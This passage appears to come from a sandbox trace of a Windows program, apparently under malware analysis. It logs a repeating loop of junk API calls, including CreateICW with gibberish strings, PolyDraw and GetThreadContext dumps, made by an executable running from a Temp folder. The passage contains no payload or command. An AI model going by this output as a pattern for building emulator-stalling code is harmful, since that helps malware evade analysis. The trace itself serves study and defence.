[208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.080] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.081] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.081] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.081] GetConsoleCP () returned 0x0
	[0066.081] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.081] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.082] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.082] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.082] GetConsoleCP () returned 0x0
	[0066.082] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.082] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.083] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.083] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.083] GetConsoleCP () returned 0x0
	[0066.083] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, 